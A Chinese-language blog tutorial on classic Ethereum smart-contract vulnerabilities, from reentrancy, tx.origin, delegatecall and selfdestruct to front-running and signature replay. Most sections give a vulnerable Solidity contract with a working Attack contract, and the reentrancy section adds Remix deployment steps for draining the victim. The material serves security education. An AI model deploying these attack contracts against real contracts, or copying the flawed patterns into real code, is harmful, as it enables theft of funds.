智能合约的经典漏洞 | Word Count: 3.2k | Reading Time: 14mins | Post Views:
智能合约的经典漏洞 智能合约的审计工具 智能合约学习资源 智能合约安全学习路线 区块链相关学习材料
以下总结的常见漏洞基本涵盖一般的漏洞类型,部分内容可能过于细致,或许有更加合理的分类方法。不过,应该能给大家提供一定的参考。
整数溢出
注意,Solidity 0.8.0 开始,加入了自动检查溢出,此版本之后的合约,可不必担心这个漏洞。
下面用 Beauty Chain 的例子说明,源码在这里 ,可见如下:
从区块链浏览器将代码复制到 remix IDE,仔细看第 259 行的 batchTransfer
函数,它用于给地址列表中的所有地址都转账 _value
:
1 2 3 4 5 6 7 8 9 10 11 12 13 function batchTransfer (address[] _receivers, uint256 _value ) public whenNotPaused returns (bool) { uint cnt = _receivers.length ; uint256 amount = uint256 (cnt) * _value; require (cnt > 0 && cnt <= 20 ); require (_value > 0 && balances[msg.sender ] >= amount); balances[msg.sender ] = balances[msg.sender ].sub (amount); for (uint i = 0 ; i < cnt; i++) { balances[_receivers[i]] = balances[_receivers[i]].add (_value); Transfer (msg.sender , _receivers[i], _value); } return true ; }
但是没有检查 amount
是否溢出,这导致每个人的转账金额 _value
很大,但是总共的 amount
却接近 0.
重入攻击
当攻击者调用储币合约中的 withdraw
函数时,withdraw
使用 call 底层调用发送以太币,此时接收者是攻击者的 fallback 函数,因此如果在 fallback 函数中重新调用 withdraw
函数,并且没有检查机制,就会发生重入攻击。代码来自这里 。如果不清楚 fallback 函数或者 receive 函数,可以看笔记 。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract EtherStore { mapping(address => uint) public balances; function deposit() public payable { balances[msg.sender] += msg.value; } function withdraw() public { uint bal = balances[msg.sender]; require(bal > 0); (bool sent, ) = msg.sender.call{value: bal}(""); require(sent, "Failed to send Ether"); balances[msg.sender] = 0; } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } } contract Attack { EtherStore public etherStore; constructor(address _etherStoreAddress) { etherStore = EtherStore(_etherStoreAddress); } // Fallback is called when EtherStore sends Ether to this contract. fallback() external payable { if (address(etherStore).balance >= 1 ether) { etherStore.withdraw(); } } function attack() external payable { require(msg.value >= 1 ether); etherStore.deposit{value: 1 ether}(); etherStore.withdraw(); } // Helper function to check the balance of this contract function getBalance() public view returns (uint) { return address(this).balance; } }
先部署 EtherStore,然后分别用不同的账户 调用 deposit
函数,单位选择 ether,value 为 1.
复制 EtherStore 合约地址,作为构造函数参数,选择 Attack 合约,部署(注意去除部署时地址的双引号)!
选择新的账户,同样单位选择 ether,value 为 1,调用 attack
函数,可见 Attackt
合约的账户余额增加,EtherStore
的账户余额归零。
最后,感兴趣的话可以阅读 theDAO 的源码 ,漏洞所在的函数为 splitDAO
payable 函数导致合约余额更新
因为当执行函数之前,合约首先是读取交易对象,因此合约的余额会先改变成 原来的余额+msg.value,某些合约可能会未注意合约余额已发生改变,导致漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract payableFunc { address public Owner; constructor() payable { Owner = msg.sender; } receive() external payable {} function withdraw() public payable { require(msg.sender == Owner); payable(Owner).transfer(address(this).balance); } function multiplicate(address adr) public payable { if (msg.value >= address(this).balance) { payable(adr).transfer(address(this).balance + msg.value); } } }
这里的 multiplicate
函数 msg.value >= address(this).balance
永远不可能为真。
tx.origin
用交易的发起者作为判断条件,可能会被精心设计的回退函数利用,转而调用其他的合约,tx.origin
仍然是最初的交易发起者,但是执行人却已经改变了。
如下面 phish
合约中的 withdrawAll
函数的要求的是 tx.origin = owner
,那么如果是 owner
向 TxOrigin
合约发送以太币,就会触发 fallback
函数,在 attack
函数中调用 withdrawAll
函数,窃取以太币。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract phish { address public owner; constructor () { owner = msg.sender; } receive() external payable{} fallback() external payable{} function withdrawAll (address payable _recipient) public { require(tx.origin == owner); _recipient.transfer(address(this).balance); } function getOwner() public view returns(address) { return owner; } } contract TxOrigin { address owner; phish PH; constructor(address phishAddr) { owner = msg.sender; PH=phish(payable(phishAddr)); } function attack() internal { address phOwner = PH.getOwner(); if (phOwner == msg. sender) { PH.withdrawAll(payable(owner)); } else { payable(owner).transfer(address(this). balance); } } fallback() external payable{ attack(); } }
短地址攻击
假如地址 0x1100000…1(40 位),但是输入的地址为 0x1100000…1(39 位)=>那么实际地址会变成 0x1100000…10(40 位)。
因为交易中的 data
参数是原始的调用数据经过 ABI 编码的数据,ABI 编码规则中常常会为了凑够 32 字节,在对原始参数编码时进行符号扩充(可见博客 的应用二进制接口(ABI) )。因此,如果输入的地址太短,那么编码时不会检查,就会直接补零,导致接收者改变。
挖矿属性依赖
合约中有部分内置变量,这些变量会受到矿工的影响,因此不应该把它们当作特定的判断条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Roulette { uint public pastBlockTime; fallback() external payable { require(msg.value == 10 ether); require(block.timestamp != pastBlockTime); pastBlockTime = block.timestamp; if(block.timestamp % 15 == 0){//依赖了区块时间戳 payable(msg.sender).transfer(address(this).balance); } } }
合约余额依赖
selfdestruct
函数是内置的强制执行的函数,因此即使合约并没有可接受以太币的方法,其他人也可以强制通过 selfdestruct
函数改变合约的余额。因此,需要仔细检查是否把合约余额当作判断标准。
例如下面的合约,规定只有恰好为 7 ether 才能胜出,但是攻击者可以通过 selfdestruct
函数让没有人能够达到 7 ether.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract EtherGame { uint public targetAmount = 7 ether; address public winner; function deposit() public payable { require(msg.value == 1 ether, "You can only send 1 Ether"); uint balance = address(this).balance; require(balance <= targetAmount, "Game is over");//只有合约余额达到 7 ether 才能成功 if (balance == targetAmount) { winner = msg.sender; } } function claimReward() public { require(msg.sender == winner, "Not winner"); (bool sent, ) = msg.sender.call{value: address(this).balance}(""); require(sent, "Failed to send Ether"); } } contract Attack { EtherGame etherGame; constructor(EtherGame _etherGame) { etherGame = EtherGame(_etherGame); } function attack() public payable { address payable addr = payable(address(etherGame)); selfdestruct(addr); } }
数据私有属性的误解
标注为 private
区域的数据并不是不能访问,它们存储在一个又一个的 slot
里,如果读者不熟悉的话,可以阅读博客 中关于 EVM 的存储空间的解释。
delegatecall
代理调用时会用调用者的上下文替代被调用者的上下文,例如下面 HackMe
中的回退函代理调用 lib
的 pwn
函数时,在 lib
中的变量 owner
将会是 HackMe
中的 owner
,因此 pwn()
中修改的实际上的 HackMe
的 owner
,msg
对象是 HackMe
中的 msg
对象,也就是调用 HackMe
的人。
例如:
Attack.attack
调用 HackMe
,然后找不到 pwn()
这个函数签名,因此跳转到回退函数,然后回退函数调用 Lib
,匹配到了函数签名,但是由于上下文切换,造成了 HackMe
的全局变量被意外修改。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract Lib { address public owner; function pwn() public { owner = msg.sender; } } contract HackMe { address public owner; Lib public lib; constructor(Lib _lib) { owner = msg.sender; lib = Lib(_lib); } fallback() external payable { address(lib).delegatecall(msg.data); } } contract Attack { address public hackMe; constructor(address _hackMe) { hackMe = _hackMe; } function attack() public { hackMe.call(abi.encodeWithSignature("pwn()")); } }
拒绝服务攻击
依赖某些特定条件才能执行的逻辑,如果有人恶意破坏并且没有检查是否满足条件,就会造成服务中断。
例如下面的例子:依赖接收者可以接收以太币,但是如果接收以太币的合约无 receive
函数或者 fallback
函数,就会让逻辑无法进行下去。
多人竞拍,如果有出价更高的则退回上个一竞拍者的以太币,并且更新胜出者 king
和当前标价 balance
,Attack
合约参与竞拍,但是无法退回以太币给它,导致 DOS。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract KingOfEther { address public king; uint public balance; function claimThrone() external payable { require(msg.value > balance, "Need to pay more to become the king"); (bool sent, ) = king.call{value: balance}(""); require(sent, "Failed to send Ether"); balance = msg.value; king = msg.sender; } } contract Attack { KingOfEther kingOfEther; constructor(KingOfEther _kingOfEther) { kingOfEther = KingOfEther(_kingOfEther); } function attack() public payable { kingOfEther.claimThrone{value: msg.value}(); } }
交易顺序依赖
某些合约依赖收到交易地顺序,例如某些竞猜或者首发,“第一个 ” 之类的要求,那么就容易出现抢跑 (front run) 的情况。再例如,利用不同代币汇率差别,观察交易池,抢先在汇率变化之前完成交易。
下面是通过哈希值竞猜,观察交易池,以更高的 gasprice 抢跑。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract FindThisHash { bytes32 public constant hash = 0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2; constructor() payable {} function solve(string memory solution) public { require(hash == keccak256(abi.encodePacked(solution)), "Incorrect answer"); (bool sent, ) = msg.sender.call{value: 10 ether}(""); require(sent, "Failed to send Ether"); } }
使用未初始化的内存
根据 Solidity 的编译器,如果需要临时存储的操作需要大于 64 字节的空间,那么不会放入 0x00-0x3f
的暂存空间,又考虑到临时存储的生命周期很短,因此直接在当前内存指针的下一个位置写入,但是内存指针不变,0x40-0x5f 记录的内存大小也不变,然后继续写入内存时直接覆盖。因此,在直接操作未使用的内存时,这块内存可能不是初始值。
如果在函数中声明 memory 变量,它可能不是初始值。
权限设置不当
取币、自毁操作需要设置严格的权限。建议非必要,不要设置 selfdestruct
函数。
合约实例偷换地址
例如,下面的 Bank
合约具有重入漏洞,似乎也只是多了一个 Logger
合约作为日志记录者。但是实际上,部署 Bank
的人可以在部署 Bank
时不填 Logger
的地址,而是直接填入 HoneyPot
的地址。在合约实例的名字的误导下,如果不去检查合约实例的地址上是否真的为预期内的代码,那么很容易上当。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 // SPDX-License-Identifier: MIT pragma solidity ^0.8.10; contract Bank { mapping(address => uint) public balances; Logger logger; constructor(Logger _logger) { logger = Logger(_logger); } function deposit() public payable { balances[msg.sender] += msg.value; logger.log(msg.sender, msg.value, "Deposit"); } function withdraw(uint _amount) public { require(_amount <= balances[msg.sender], "Insufficient funds"); (bool sent, ) = msg.sender.call{value: _amount}(""); require(sent, "Failed to send Ether"); balances[msg.sender] -= _amount; logger.log(msg.sender, _amount, "Withdraw"); } } contract Logger { event Log(address caller, uint amount, string action); function log( address _caller, uint _amount, string memory _action ) public { emit Log(_caller, _amount, _action); } } // Hacker tries to drain the Ethers stored in Bank by reentrancy. contract Attack { Bank bank; constructor(Bank _bank) { bank = Bank(_bank); } fallback() external payable { if (address(bank).balance >= 1 ether) { bank.withdraw(1 ether); } } function attack() public payable { bank.deposit{value: 1 ether}(); bank.withdraw(1 ether); } function getBalance() public view returns (uint) { return address(this).balance; } } // Let's say this code is in a separate file so that others cannot read it. contract HoneyPot { function log( address _caller, uint _amount, string memory _action ) public { if (equal(_action, "Withdraw")) { revert("It's a trap"); } } // Function to compare strings using keccak256 function equal(string memory _a, string memory _b) public pure returns (bool) { return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b)); } }
未检查底层调用结果
call
这类底层调用的方式失败并不会发生回滚。因此,攻击者可以精心设计 gas,让底层调用回滚,而其他语句继续运行。
签名重放
一般而言,签名会和特定的交易或者消息绑定,但是为了业务逻辑自己设计的多重签名,可能会疏忽造成签名重复使用。例如下面的 transfer
函数,通过库合约恢复发送者地址,但是如果签名是可重用的,那么就会造成意外的取款行为。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma experimental ABIEncoderV2; import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/b0cf6fbb7a70f31527f36579ad644e1cf12fdf4e/contracts/utils/cryptography/ECDSA.sol"; contract MultiSigWallet { using ECDSA for bytes32; address[2] public owners; constructor(address[2] memory _owners) payable { owners = _owners; } function deposit() external payable {} function transfer( address _to, uint _amount, bytes[2] memory _sigs ) external { bytes32 txHash = getTxHash(_to, _amount); require(_checkSigs(_sigs, txHash), "invalid sig"); (bool sent, ) = _to.call{value: _amount}(""); require(sent, "Failed to send Ether"); } function getTxHash(address _to, uint _amount) public view returns (bytes32) { return keccak256(abi.encodePacked(_to, _amount)); } function _checkSigs(bytes[2] memory _sigs, bytes32 _txHash) private view returns (bool) { bytes32 ethSignedHash = _txHash.toEthSignedMessageHash(); for (uint i = 0; i < _sigs.length; i++) { address signer = ethSignedHash.recover(_sigs[i]); bool valid = signer == owners[i]; if (!valid) { return false; } } return true; } }